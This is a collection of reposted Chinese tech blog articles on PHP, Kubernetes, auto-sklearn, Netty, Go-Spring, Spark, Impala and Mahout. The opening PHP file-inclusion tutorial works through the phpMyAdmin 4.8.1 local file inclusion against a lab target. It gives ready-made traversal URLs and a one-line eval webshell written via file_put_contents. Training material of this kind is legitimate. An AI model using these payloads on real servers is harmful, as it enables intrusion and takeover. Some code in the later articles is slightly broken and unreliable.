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...函数,那么我们就可以使用这个文件包含函数,就避免了每个网页又去重复造轮子。 在index.php文件里包含1.txt,而1.txt的内容是phpinfo(),include函数包含1.txt,就会把1.txt的内容当成php文件执行,不管后缀是什么。1.txt也好,1.xml也好,只要里面是php代码,然后有被include函数包含,那么就被当成PHP文件执行。 如果包含的文件不存在,就会出现致命的错误,并报出绝对路径,然是不影响其他功能的执行,比如这里的nf和123的输出。那么就表明include函数,如果出现错误的话,并不会影响其他功能的运行。 如果包含的文件不存在,就会出现致命的错误,并报出绝对路径,影响后面功能的执行,比如这里的nf的输出,后面的功能因为2.txt报错,导致123未执行。那么就表明require函数,如果出现错误的话,会影响后面功能的运行。 只要文件内是php代码,文件包含是不在意文件后缀的。 12345.jpg的传参值是a,那么我们可以写传参值=file_put_contents(‘8.php’,’<?php eval($_REQUEST[a]);?>’) 然后生成一个新的php文件 访问index.php 以上我们接触的全部是本地文件包含 说了本地文件包含,我们再来看远程文件包含 简单来说远程文件包含,就是可以包含其他主机上的文件,并当成php代码执行。 要实现远程文件包含的话,php配置的allow_url_include = on必须为on(开启) 来我们可以来实验一下,把这个配置打开。 “其他选项菜单”——“打开配置文件”——“php-ini” 打开配置文件,搜索allow_url_include 把Off改为On,注:第一个字母要为大写 之后要重启才能生效。 配置开启后,我们来远程文件包含一下,我们来远程包含一下kali上的1.txt,可以看到没有本地包含,所以直接显示的内容。 那我们现在来远程包含一下kali的这个1.txt,看会不会有phpinfo,注意我这里是index文件哦,所以是默认的。 可以看到,包含成功! 这里可以插一句题外话,如果是window服务器的话,可以让本地文件包含变成远程文件包含。需要开始XX配置,SMB服务。 这里我们可以发现,进入一个不存在的目录,然后再返回上一级,相当于没变目录位置,这个是不影响的,而且这个不存在的目录随便怎么写都可以。 但是php是非常严格的,进入一个不存在的目录,这里目录的名字里不能有?号,否则报错,然后再返回上一级,相当于没变目录位置,这个是不影响的,而且这个不存在的目录随便怎么写都可以。 实战 注意,这里php版本过低,会安装不上 安装好后,我们来解析下源码 1.txt内容phpinfo() 来本地文件包含一下,发现成功 http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/../11.txt 靶场 http://59.63.200.79:8010/lfi/phpmyadmin/ 先创建一个库名:nf 接着创建表:ff,字段数选2个就行了 然后选中我们之前创建好的库名和表名,开始写入数据,第一个就写个一句话木马,第二个随便填充。 然后我们找到存放表的路径。 这里我们要传参2个,那么就加上&这里我们找到之后传参phpinfo http://59.63.200.79:8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/…/phpstudy/mysql/data/nf/ff.frm&a=phpinfo(); 因为a在ff.frm里 <?php eval($_REQUEST[a])?>注意,这里面没有分号和单引号 文件包含成功 用file_put_contents(‘8.php’,’<?php eval($_REQUEST[a]);?>’)写入一句话木马 http://59.63.200.79:8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/…/phpstudy/mysql/data/nf/ff.frm&a=file_put_contents(‘8.php’,’<?php eval($_REQUEST[a])?>’); <?php eval($_REQUEST[a])?>注意,这里面没有分号和单引号 写入成功后,我们连接这个8.php的木马。 http://59.63.200.79:8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/8.php 在线测试时这样,但是我在本地测试的时候,还是有点不一样的。我就直接上不一样的地方,前面的地方都是一样的 1,创建一个库为yingqian1984, 2,创建一个表为yq1984 3,填充表数据,因为跟上面一样,2个字段一个木马,一个随便数据 4,找数据表的位置,最后我发现我的MySQL存放数据库的地方是在 C:\ProgramData\MySQL\MySQL Server 5.7\Data\yingqian1984 文件包含成功。 http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/ProgramData/MySQL/MySQL Server 5.7/Data/yingqian1984/qy1984.frm&a=phpinfo(); 用file_put_contents(‘9.php’,’<?php eval($_REQUEST[a]);?>’)写入一句话木马 http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/ProgramData/MySQL/MySQL Server 5.7/Data/yingqian1984/qy1984.frm&a=file_put_contents(‘9.php’,’<?php eval($_REQUEST[a])?>’); <?php eval($_REQUEST[a])?>注意,这里面没有分号和单引号 传参成功 http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/9.php?a=phpinfo(); 本篇文章为转载内容。原文链接:https://blog.csdn.net/qq_45300786/article/details/108724251。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2024-01-06 09:10:40
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Kubernetes
...排平台之一。那么,在使用Kubernetes部署微服务时,我们应该如何选择一个Pod对应一个应用,还是多个Pod对应一个应用呢? 首先,我们需要明确什么是Pod。在Kubernetes中,Pod是运行在同一台物理主机上的应用程序实例集合。它可以包含一个或者多个容器,以及一些元数据如命名空间、标签等。 接下来,我们来看一下Pod和应用的关系。一个应用程序其实就像是个大拼盘,它是由多个小家伙——微服务组成的。这些微服务可厉害了,每一个都能在自己的专属小天地——也就是独立的容器里欢快地运行起来。所以,我们可以这样考虑:把一个Pod看成是一群微服务实例的“集合体”,这样一来,我们就能把好几哥彼此相关的容器,统统塞进同一个Pod里头,这样一来,资源的利用效率也就噌噌噌地往上涨啦! 然而,我们也需要注意,如果一个Pod中的容器数量过多,那么它可能会变得过于复杂,难以管理和扩展。另外,假如一个Pod挂了,那它里面的所有小容器都会跟着“罢工”,这样一来,整个应用程序也就歇菜了。所以呢,为了确保系统的稳如磐石、随时都能用,我们还要琢磨一下,针对一个应用部署多个Pod的情况。 接下来,我们就来具体讨论一下这两种方案的优缺点。 二、Pod对应一个应用的优点 将一个Pod作为一个应用实例的集合,有很多优点。首先,它可以有效地提高资源利用率。因为多个相关的容器能够共享一台宿主机的资源,这样一来,就能够有效地避免无谓的资源浪费啦。就像是大家伙儿一起拼车出行,既省钱又环保,让每一份资源都得到更合理的利用。其次,它可以简化Pod的设计和管理工作。由于所有的容器都被放在同一个Pod里头,这就意味着它们能够超级轻松地相互沟通、协同工作,就像一个团队里的成员面对面交流一样方便快捷。最后,它可以帮助我们更好地理解和调试应用程序。你知道吗,就像你在一个盒子里集中放了所有相关的工具和操作手册,我们在一个叫Pod的“容器集合”里也能看到所有相关容器的状态和日志。这样一来,就像翻看操作手册找故障原因一样轻松简单,我们就能更快地定位并解决问题啦! 然而,这种方法也有一些不足之处。首先,假如一个Pod里的容器数量猛增,那这货可能会变得贼复杂,管理起来费劲儿,扩展性也会大打折扣。另外,假如一个Pod挂了,那它里面的所有小容器都会跟着“罢工”,这样一来,整个应用程序也就歇菜了。所以呢,为了确保系统的稳如磐石、随时都能用,我们还要琢磨一下,针对一个应用部署多个Pod的情况。 三、多个Pod对应一个应用的优点 将多个Pod用于一个应用也有其优点。首先,它可以提高系统的稳定性和可用性。你知道吗,就像在乐队里,即使有个乐器突然罢工了,其他乐手还能继续演奏,让整场演出顺利进行一样。在我们的应用系统中,哪怕有一个Pod突然崩溃了,其他的Pod也能稳稳地坚守岗位,确保整个应用的正常运作,一点儿不影响服务。其次,它可以更好地支持大规模的横向扩展。你知道吗,就像搭乐高积木一样,我们可以通过叠加更多的Pod来让应用的处理能力蹭蹭往上涨,完全不需要死磕单个Pod的性能极限。最后,它可以帮助我们更好地管理和监控Pod的状态。你知道吗,我们可以通过在不同的Pod里运行各种各样的工具和服务,这样就能更直观、更全面地掌握应用程序的运行状况啦!就像是拼图一样,每个Pod都承载着一块关键信息,把它们拼凑起来,我们就对整个应用程序有了全方位的认识。 然而,这种方法也有一些不足之处。首先,它可能会增加系统的复杂性。因为需要管理更多的Pod,而且需要确保这些Pod之间的协调和同步。此外,如果多个Pod之间的通信出现问题,也会影响整个应用的性能和稳定性。所以呢,为了确保系统的稳定牢靠、随时都能用得溜溜的,我们得在实际操作中不断改进和完善它,就像打磨一块璞玉一样,让它越来越熠熠生辉。 四、结论 总的来说,无论是将一个Pod作为一个应用实例的集合,还是将多个Pod用于一个应用,都有其各自的优点和不足。因此,在使用Kubernetes部署微服务时,我们需要根据实际情况来选择最合适的方法。比如,假如我们的应用程序比较简单,对横向扩展需求不大,那么把一个Pod当作一组应用实例来用,或许是个更棒的选择~换种说法,假如咱需要应对大量请求,而且常常得扩大规模,那么将一个应用分散到多个Pod里头运行或许更能满足咱们的实际需求。这样就更贴近生活场景了,就像是盖楼的时候,如果预计会有很多人入住,我们就得多盖几栋楼来分散容纳,而不是只建一栋超级大楼。甭管你选哪种招儿,咱都得时刻盯紧Pod的状态,时不时给它做个“体检”和保养,这样才能确保整个系统的平稳运行和随时待命。
2023-06-29 11:19:25
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追梦人_t
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...工具)的简介、安装、使用方法之详细攻略 目录 autosklearn/Auto-Sklearn的简介 autosklearn/Auto-Sklearn(基于scikit-learn库的自动化的机器学习工具)的概述 autosklearn/Auto-Sklearn的安装 系统安装要求¶ autosklearn/Auto-Sklearn的使用方法 1、基础案例 autosklearn/Auto-Sklearn的简介 autosklearn/Auto-Sklearn(基于scikit-learn库的自动化的机器学习工具)的概述 简介 Auto-Sklearn,在2015年由德国图宾根大学的研究人员提出的,最初的版本于2016年发布。auto-sklearn基于scikit-learn库进行开发,支持多种机器学习任务,包括分类、回归、时间序列等。 核心技术点 Auto-Sklearn使用了贝叶斯优化的方法进行超参数优化,可以在较短的时间内找到最优的超参数组合,从而得到更好的模型性能。 功能 Auto-Sklearn是一款基于Python的自动机器学习工具,可以自动进行机器学习的各个步骤,包括特征选择、特征预处理、算法选择和超参数优化等。 自动特征选择与工程:可以自动选择最优特征子集,并进行归一化、缺失值处理等特征工程。 自动模型选择:可以自动选择最优的机器学习算法来解决问题,支持的算法包括SVM、KNN、随机森林等。 自动超参数优化:可以自动搜索机器学习模型的最优超参数,获得最高性能的模型配置。 特点 auto-sklearn的优势在于它的易用性和灵活性。用户只需要提供数据集和一些基本的配置,就可以自动进行模型构建和优化。 auto-sklearn可以自动选择和配置算法和超参数,从而让用户省去了手动调参的过程。 auto-sklearn还支持并行化处理,可以在多个CPU或GPU上运行,进一步加速模型训练和优化。 优缺点 自动化:auto-sklearn能够自动化地完成机器学习的各个环节,从而让用户省去手动调参和特征工程等繁琐的工作。 灵活性:auto-sklearn提供了多种配置选项,用户可以根据自己的需求进行自定义配置。 性能好:auto-sklearn使用贝叶斯优化技术进行超参数优化,能够在短时间内找到最优的超参数组合,从而得到更好的模型性能。 处理大数据集时较慢:auto-sklearn的处理速度受限于计算资源,处理大数据集时需要较长时间。 可解释性较差:由于auto-sklearn是自动化的,生成的模型可解释性较差。 应用案例 Kaggle竞赛:auto-sklearn在多个Kaggle竞赛中表现出色,包括房价预测、分类、回归等多个任务。 自动化机器学习平台:auto-sklearn可以作为自动化机器学习平台的核心组件,帮助用户快速构建和部署机器学习模型。 数据科学教育:auto-sklearn可以作为教学工具,帮助学生快速入门机器学习,并加深对机器学习原理的理解。 autosklearn/Auto-Sklearn的安装 pip install auto-sklearnpip install -i https://pypi.tuna.tsinghua.edu.cn/simple auto-sklearnconda install -c conda-forge auto-sklearn 系统安装要求¶ auto-sklearn 具有以下系统要求: Linux 操作系统(例如 Ubuntu)(在此处获取 Linux) Python (>=3.7)(在此处获取 Python), C++ 编译器(支持 C++11)(在此处获取 GCC)。 如果您尝试在没有提供 pyrfr 包的 wheel 文件的系统上安装 Auto-sklearn(请参阅此处了解可用的 wheels),您还需要: SWIG(在此处获取 SWIG)。 有关缺少 Microsoft Windows 和 macOS 支持的说明,请查看Windows/macOS 兼容性部分。 注意:auto-sklearn 当前不支持 Windows系统,因为auto-sklearn严重依赖 Python 模块resource。是 Python 的Unix 特定服务resource 的一部分 ,在 Windows 机器上不可用。因此,无法 在 Windows 机器上运行auto-sklearn 。 autosklearn/Auto-Sklearn的使用方法 1、基础案例 import sklearn.datasetsimport autosklearn.classification 加载Titanic数据集X, y = sklearn.datasets.load_breast_cancer(return_X_y=True) 使用Auto-Sklearn训练模型model = autosklearn.classification.AutoSklearnClassifier()model.fit(X, y) 输出模型评估结果print(model.sprint_statistics()) 本篇文章为转载内容。原文链接:https://blog.csdn.net/qq_41185868/article/details/83758383。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-06-13 13:27:17
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Netty
...描绘一下这个现象:在使用Netty构建的客户端应用中,客户端与服务器建立连接后,连接状态并未保持稳定,而是频繁地出现异常断开的情况。这可能导致数据传输中断,影响整个系统的稳定性与可靠性。 3. 可能的原因分析 (1) 网络环境不稳定:就像我们在拨打电话时会受到信号干扰一样,网络环境的质量直接影响到TCP连接的稳定性。例如,Wi-Fi信号波动、网络拥塞等都可能导致连接异常断开。 java EventLoopGroup workerGroup = new NioEventLoopGroup(); Bootstrap b = new Bootstrap(); b.group(workerGroup); b.channel(NioSocketChannel.class); b.option(ChannelOption.SO_KEEPALIVE, true); // 开启TCP保活机制以应对网络波动 (2) 心跳机制未配置或配置不合理:Netty支持心跳机制(如TCP KeepAlive)来检测连接是否存活,若未正确配置,可能导致连接被误判为已断开。 java b.option(ChannelOption.CONNECT_TIMEOUT_MILLIS, 30000); // 设置连接超时时间 b.handler(new ChannelInitializer() { @Override protected void initChannel(SocketChannel ch) throws Exception { ChannelPipeline p = ch.pipeline(); p.addLast(new IdleStateHandler(60, 0, 0)); // 配置读空闲超时时间为60秒,触发心跳检查 // ... 其他处理器添加 } }); (3) 资源未正确释放:在客户端程序执行过程中,如果未能妥善处理关闭逻辑,如Channel关闭不彻底,可能会导致新连接无法正常建立,从而表现为频繁断开。 java channel.closeFuture().addListener((ChannelFutureListener) future -> { if (!future.isSuccess()) { log.error("Failed to close channel: {}", future.cause()); } else { log.info("Channel closed successfully."); } // ... 释放其他相关资源 }); 4. 解决方案与优化建议 针对上述可能的原因,我们可以从以下几个方面着手: - 增强网络监控与报警:当网络状况不佳时,及时调整策略或通知运维人员排查。 - 合理配置心跳机制:确保客户端与服务器之间的心跳包发送间隔、确认等待时间以及超时重连策略符合业务需求。 - 完善资源管理:在客户端程序设计时,务必确保所有网络资源(如Channel、EventLoopGroup等)都能在生命周期结束时得到正确释放,防止因资源泄露导致的连接异常。 - 错误处理与重试策略:对连接异常断开的情况制定相应的错误处理逻辑,并结合重试策略确保在一定条件下可以重新建立连接。 5. 结语 面对Netty客户端连接服务器时的异常断开问题,我们需要像侦探般抽丝剥茧,寻找背后的真实原因,通过细致的代码优化和完善的策略设计,才能确保我们的网络通信系统既稳定又健壮。在开发的这个过程里,每位开发者都该学会“把人放在首位”的思考模式,就像咱们平时处事那样,带着情感和主观感知去理解问题、解决问题。就好比在生活中,我们会积极沟通、不断尝试各种方法去维护一段友情或者亲情一样,让那些冷冰冰的技术也能充满人情味儿,更加有温度。
2023-09-11 19:24:16
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海阔天空
Go-Spring
如何使用Go-Spring进行负载均衡:一步步实战指南 引言 在当今的微服务架构中,负载均衡是保障系统稳定性和高可用性的重要手段。Go-Spring这款微服务框架,可是咱们Golang家族的一员猛将,它在负载均衡这块儿可厉害了。有了它,咱就能轻轻松松地把应用流量玩转起来,高效管理、灵活分配,让服务运行那叫一个溜!本文将深入探讨如何运用Go-Spring实现负载均衡,并通过实例代码让您亲身体验这一过程。 1. Go-Spring与负载均衡简介 Go-Spring借鉴了Spring Boot的理念和设计模式,为Golang开发者提供了一套便捷、高效的微服务解决方案。它就像一个超级智能的交通指挥员,肚子里装着好几种调配工作量的“小妙招”,比如轮流分配、随机挑选、最少连接数原则等。这样一来,服务间的相互呼叫就能灵活地分散到多个不同的干活机器上,就像是大家一起分担任务一样,既能让整个系统更麻溜地处理大量同时涌进来的请求,又能增强系统的抗故障能力,即使有个别机器罢工了,其他机器也能顶上,保证工作的正常进行。 2. 使用Go-Spring实现负载均衡的基本步骤 2.1 配置服务消费者 首先,我们需要在服务消费者端配置负载均衡器。想象一下,我们的服务使用者需要联系一个叫做“.UserService”的小伙伴来帮忙干活儿,这个小伙伴呢,有很多个分身,分别在不同的地方待命。 go import ( "github.com/go-spring/spring-core" "github.com/go-spring/spring-cloud-loadbalancer" ) func main() { spring.NewApplication(). RegisterBean(new(UserServiceConsumer)). AddCloudLoadBalancer("userService", func(c loadbalancer.Config) { c.Name = "userService" // 设置服务名称 c.LbStrategy = loadbalancer.RandomStrategy // 设置负载均衡策略为随机 c.AddServer("localhost:8080") // 添加服务实例地址 c.AddServer("localhost:8081") }). Run() } 2.2 调用远程服务 在服务消费者内部,通过@Service注解注入远程服务,并利用Go-Spring提供的Invoke方法进行调用,此时请求会自动根据配置的负载均衡策略分发到不同的服务实例。 go import ( "github.com/go-spring/spring-core" "github.com/go-spring/spring-web" ) type UserServiceConsumer struct { UserService spring.Service service:"userService" } func (uc UserServiceConsumer) Handle(ctx spring.WebContext) { user, err := uc.UserService.Invoke(func(service UserService) (User, error) { return service.GetUser(1) }) if err != nil { // 处理错误 } // 处理用户数据 ... } 3. 深入理解负载均衡策略 Go-Spring支持多种负载均衡策略,每种策略都有其适用场景: - 轮询(RoundRobin):每个请求按顺序轮流分配到各个服务器,适用于所有服务器性能相近的情况。 - 随机(Random):从服务器列表中随机选择一个,适用于服务器性能差异不大且希望尽可能分散请求的情况。 - 最少连接数(LeastConnections):优先选择当前连接数最少的服务器,适合于处理时间长短不一的服务。 根据实际业务需求和系统特性,我们可以灵活选择并调整这些策略,以达到最优的负载均衡效果。 4. 思考与讨论 在实践过程中,我们发现Go-Spring的负载均衡机制不仅简化了开发者的配置工作,而且提供了丰富的策略选项,使得我们能够针对不同场景采取最佳策略。不过呢,负载均衡可不是什么万能灵药,想要搭建一个真正结实耐造的分布式系统,咱们还得把它和健康检查、熔断降级这些好兄弟一起,手拉手共同协作才行。 总结来说,Go-Spring以其人性化的API设计和全面的功能集,极大地降低了我们在Golang中实施负载均衡的难度。而真正让它火力全开、大显神通的秘诀,就在于我们对业务特性有如数家珍般的深刻理解,以及对技术工具能够手到擒来的熟练掌握。让我们一起,在Go-Spring的世界里探索更多可能,打造更高性能、更稳定的分布式服务吧!
2023-12-08 10:05:20
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繁华落尽
Spark
...浅出的技术探讨与实战示例 1. 引子 理解分布式计算中的挑战 在大数据处理的世界里,Apache Spark以其卓越的性能和易用性赢得了广大开发者的心。当我们用超级大的集群来处理那些让人挠头的复杂并行任务时,常常会碰到各种意想不到的性能瓶颈问题。特别是在各个节点硬件配置不统一,或者数据分布得七零八落的情况下,这些问题更是层出不穷。这时候,一个叫“推测执行”的小机灵鬼就显得特别关键了,它就像Spark里的那位超级未雨绸缪、洞察秋毫的大管家,时刻紧盯着任务的进展动态。一旦瞅准时机,它就会立马出手,优化整体的运行效率,让事情变得更快更顺溜。 2. 推测执行的基本概念 定义 Spark的推测执行是一种提高分布式计算任务效率的方法。换句话说,这个功能就相当于Spark有了个聪明的小脑瓜。当它发现有些任务跑得比乌龟还慢,就猜到可能是硬件闹情绪了,或者数据分配不均在使绊子,于是果断决定派出额外的“小分队”一起并肩作战,加速完成任务。你知道吗,当Spark在运行程序时,如果有某个复制的推测任务抢先完成了,它会很机智地把其他还在苦干的复制任务的结果直接忽略掉,然后挑出这个最快完成复制任务的成果来用。这样一来,就大大减少了整个应用程序需要等待的时间,让效率嗖嗖提升! 原理 在Spark中,默认情况下是关闭推测执行的,但在大型集群环境下开启该特性可以显著提升作业性能。Spark通过监控各个任务的执行进度和速度差异,基于内置的算法来决定是否需要启动推测任务。这种策略能够应对潜在的硬件故障、网络波动以及其他难以预估的因素造成的执行延迟。 3. 如何启用Spark的推测执行 为了直观地展示如何启用Spark的推测执行,我们可以查看SparkConf的配置示例: scala import org.apache.spark.SparkConf val sparkConf = new SparkConf() .setAppName("SpeculationDemo") .setMaster("local[4]") // 或者是集群模式 .set("spark.speculation", "true") // 启用推测执行 val sc = new SparkContext(sparkConf) 在这个示例中,我们设置了spark.speculation为true以启用推测执行。当然,在真实的工作场景里,咱们也得灵活应变,根据实际工作任务的大小和资源状况,对一些参数进行适当的微调。比如那个推测执行的触发阈值(spark.speculation.multiplier),就像调节水龙头一样,要找到适合当前环境的那个“度”。 4. 推测执行的实际效果与案例分析 假设我们正在处理一个包含大量分区的数据集,其中一个分区的数据量远大于其他分区,导致负责该分区的任务执行时间过长。以下是Spark内部可能发生的推测执行过程: - Spark监控所有任务的执行状态和速度。 - 当发现某个任务明显落后于平均速度时,决定启动一个新的推测任务处理相同的分区数据。 - 如果推测任务完成了计算并且比原任务更快,则采用推测任务的结果,并取消原任务。 - 最终,即使存在数据倾斜,整个作业也能更快地完成。 5. 探讨与权衡 尽管推测执行对于改善性能具有积极意义,但并不是没有代价的。额外的任务副本会消耗更多的计算资源,如果频繁错误地推测,可能导致集群资源浪费。所以,在实际操作时,我们得对作业的特性有接地气、实实在在的理解,然后根据实际情况灵活把握,找到资源利用和执行效率之间的那个微妙平衡点。 总之,Spark的推测执行机制是一个聪明且实用的功能,它体现了Spark设计上的灵活性和高效性。当你碰上那种超大规模、复杂到让人挠头的分布式计算环境时,巧妙地利用推测执行这个小窍门,就能帮咱们更好地玩转Spark。这样一来,甭管遇到什么难题挑战,Spark都能稳稳地保持它那傲人的高性能表现,妥妥的!下次你要是发现Spark集群上的任务突然磨磨蹭蹭,不按套路出牌地延迟了,不如尝试把这个神奇的功能开关打开试试,没准就能收获意想不到的惊喜效果!说到底,就像咱们人类在解决问题时所展现的机智劲儿那样,有时候在一片迷茫中摸索出最佳答案,这恰恰就是技术发展让人着迷的地方。
2023-03-28 16:50:42
329
百转千回
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...系。虽然文章没有直接使用“离职对话机制”这一名词,但提到了建立开放、诚实且富有建设性的离职沟通方式,实际上就是倡导构建一种有效的离职对话机制。
2023-04-02 14:22:56
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...tes环境中,你可以使用kube-apiserver命令结合enable-admission-plugins的flag,后面需要跟上以逗号分割的准入控制器清单,如下所示: kube-apiserver --enable-admission-plugins=NamespaceLifecycle,LimitRanger … 5.如何关闭准入控制器 同理,你可以使用flag:disable-admission-plugins,来关闭不想要的准入控制器,如下所示: kube-apiserver --disable-admission-plugins=PodNodeSelector,AlwaysDeny … 6.实战:控制器的使用 1.LimitRanger 1)首先,编辑limitrange-demo.yaml文件,我们定义了一个cpu的准入控制器。 其中定义了默认值、最小值和最大值等。 apiVersion: v1kind: LimitRangemetadata:name: cpu-limit-rangenamespace: mynsspec:limits:- default: 默认上限cpu: 1000mdefaultRequest:cpu: 1000mmin:cpu: 500mmax:cpu: 2000mmaxLimitRequestRatio: 定义最大值是最小值的几倍,当前为4倍cpu: 4type: Container 2)apply -f之后,我们可以通过get命令来查看LimitRange的配置详情 [root@centos-1 dingqishi] kubectl get LimitRange cpu-limit-range -n mynsNAME CREATED ATcpu-limit-range 2021-10-10T07:38:29Z[root@centos-1 dingqishi] kubectl describe LimitRange cpu-limit-range -n mynsName: cpu-limit-rangeNamespace: mynsType Resource Min Max Default Request Default Limit Max Limit/Request Ratio---- -------- --- --- --------------- ------------- -----------------------Container cpu 500m 2 1 1 4 2.ResourceQuota 1)同理,编辑配置文件resoucequota-demo.yaml,并apply; 其中,我们定义了myns名称空间下的资源配额。 apiVersion: v1kind: ResourceQuotametadata:name: quota-examplenamespace: mynsspec:hard:pods: "5"requests.cpu: "1"requests.memory: 1Gilimits.cpu: "2"limits.memory: 2Gicount/deployments.apps: "2"count/deployments.extensions: "2"persistentvolumeclaims: "2" 2)此时,也可以查看到ResourceQuota的相关配置,是否生效 [root@centos-1 dingqishi] kubectl get ResourceQuota -n mynsNAME CREATED ATquota-example 2021-10-10T08:23:54Z[root@centos-1 dingqishi] kubectl describe ResourceQuota quota-example -n mynsName: quota-exampleNamespace: mynsResource Used Hard-------- ---- ----count/deployments.apps 0 2count/deployments.extensions 0 2limits.cpu 0 2limits.memory 0 2Gipersistentvolumeclaims 0 2pods 0 5requests.cpu 0 1requests.memory 0 1Gi 大家可以将生效后的控制器,结合相关pod自行测试资源配额的申请、限制和使用的情况 本篇文章为转载内容。原文链接:https://blog.csdn.net/flq18210105507/article/details/120845744。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-12-25 10:44:03
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...态等任务。在文章中,使用systemctl命令停止防火墙服务、禁止其开机自启动,以及管理MySQL服务的启动、停止与开机自动启动设置。 MySQL.sock , 在Linux环境下,MySQL客户端和服务端通信通常会通过一个Unix域套接字文件进行,即MySQL.sock。它是MySQL内部用于本地连接的一种通信方式,当MySQL服务启动后会在指定的socket路径生成该文件。在本文中,通过建立软链接解决了MySQL无法通过预设的socket路径连接的问题。 chkconfig , chkconfig是一个在某些Linux发行版(如RHEL/CentOS系列)中用来管理系统服务启动项的工具,可以查询或修改服务随系统启动级别自动启动或关闭的状态。在文章中,作者用chkconfig命令将MySQL服务设置为开机自动启动,但在较新的Linux版本中,这一功能已被systemctl命令替代。
2023-05-24 19:00:46
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Impala
使用Impala进行大规模日志分析:实战与探索 1. 引言 在大数据领域,实时、高效的数据分析能力对于企业决策和业务优化至关重要。Apache Impala,这可是个不得了的开源神器,它是一款超给力的大规模并行处理SQL查询引擎,专门为Hadoop和Hive这两大数据平台量身定制。为啥说它不得了呢?因为它有着高性能、低延迟的超强特性,在处理海量数据的时候,那速度简直就像一阵风,独树一帜。尤其在处理那些海量日志分析的任务上,更是游刃有余,表现得尤为出色。这篇文会手牵手带你畅游Impala的大千世界,咱不光说理论,更会实操演示,带着你一步步见识怎么用Impala这把利器,对海量日志进行深度剖析。 2. Impala简介 Impala以其对HDFS和HBase等大数据存储系统的原生支持,以及对SQL-92标准的高度兼容性,使得用户可以直接在海量数据上执行实时交互式SQL查询。跟MapReduce和Hive这些老哥不太一样,Impala这小子更机灵。它不玩儿那一套先将SQL查询变魔术般地转换成一堆Map和Reduce任务的把戏,而是直接就在数据所在的节点上并行处理查询,这一招可是大大加快了我们分析数据的速度,效率杠杠滴! 3. Impala在日志分析中的应用 3.1 日志数据加载与处理 首先,我们需要将日志数据导入到Impala可以访问的数据存储系统,例如HDFS或Hive表。以下是一个简单的Hive DDL创建日志表的例子: sql CREATE TABLE IF NOT EXISTS logs ( log_id BIGINT, timestamp TIMESTAMP, user_id STRING, event_type STRING, event_data STRING ) ROW FORMAT DELIMITED FIELDS TERMINATED BY '\t' STORED AS TEXTFILE; 然后,通过Hive或Hadoop工具将日志文件加载至该表: bash hive -e "LOAD DATA INPATH '/path/to/logs' INTO TABLE logs;" 3.2 Impala SQL查询实例 有了结构化的日志数据后,我们便可以在Impala中执行复杂的SQL查询来进行深入分析。例如,我们可以找出过去一周内活跃用户的数量: sql SELECT COUNT(DISTINCT user_id) FROM logs WHERE timestamp >= UNIX_TIMESTAMP(CURRENT_DATE) - 7246060; 或者,我们可以统计各类事件发生的频率: sql SELECT event_type, COUNT() as event_count FROM logs GROUP BY event_type ORDER BY event_count DESC; 这些查询均能在Impala中以极快的速度得到结果,满足了对大规模日志实时分析的需求。 3.3 性能优化探讨 在使用Impala进行日志分析时,性能优化同样重要。比如,对常量字段创建分区表,可以显著提高查询速度: sql CREATE TABLE logs_partitioned ( -- 同样的列定义... ) PARTITIONED BY (year INT, month INT, day INT); 随后按照日期对原始表进行分区数据迁移: sql INSERT OVERWRITE TABLE logs_partitioned PARTITION (year, month, day) SELECT log_id, timestamp, user_id, event_type, event_data, YEAR(timestamp), MONTH(timestamp), DAY(timestamp) FROM logs; 这样,在进行时间范围相关的查询时,Impala只需扫描相应分区的数据,大大提高了查询效率。 4. 结语 总之,Impala凭借其出色的性能和易用性,在大规模日志分析领域展现出了强大的实力。它让我们能够轻松应对PB级别的数据,实现实时、高效的查询分析。当然啦,每个项目都有它独特的小脾气和难关,但只要巧妙地运用Impala的各种神通广大功能,并根据实际情况灵活机动地调整作战方案,保证能稳稳驾驭那滔滔不绝的大规模日志分析大潮。这样一来,企业就能像看自家后院一样清晰洞察业务动态,优化决策也有了如虎添翼的强大力量。在这个过程中,我们就像永不停歇的探险家,不断开动脑筋思考问题,动手实践去尝试,勇敢探索未知领域。这股劲头,就像是咱们在技术道路上前进的永动机,推动着我们持续进步,一步一个脚印地向前走。
2023-07-04 23:40:26
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月下独酌
Mahout
...ity)。以下是一个使用皮尔逊相关系数计算用户相似度的例子: java // 创建Pearson相似度计算器 UserSimilarity similarity = new PearsonCorrelationSimilarity(model); // 使用GenericUserBasedRecommender类进行相似度计算 UserNeighborhood neighborhood = new NearestNUserNeighborhood(10, similarity, model); Recommender recommender = new GenericUserBasedRecommender(model, neighborhood, similarity); // 计算用户123与其他用户的相似度 List similarUsers = recommender.mostSimilarItems(123, 10); 这段代码首先创建了一个Pearson相关系数相似度计算器,然后定义了邻域模型(这里选择最近的10个用户),最后通过mostSimilarItems方法找到与用户123最相似的其他用户。 3. 深入思考 值得注意的是,选择何种相似度计算方法很大程度上取决于具体的应用场景和数据特性。比如,假如评分数据分布得比较均匀,那皮尔逊相关系数就是个挺不错的选择。但如果评分数据少得可怜,这时候余弦相似度可能就更显神通了。因为它压根不在乎具体的评分数值大小,只关心相对的偏好方向,所以在这种极端稀疏的情况下,效果可能会更好。 四、总结与探讨 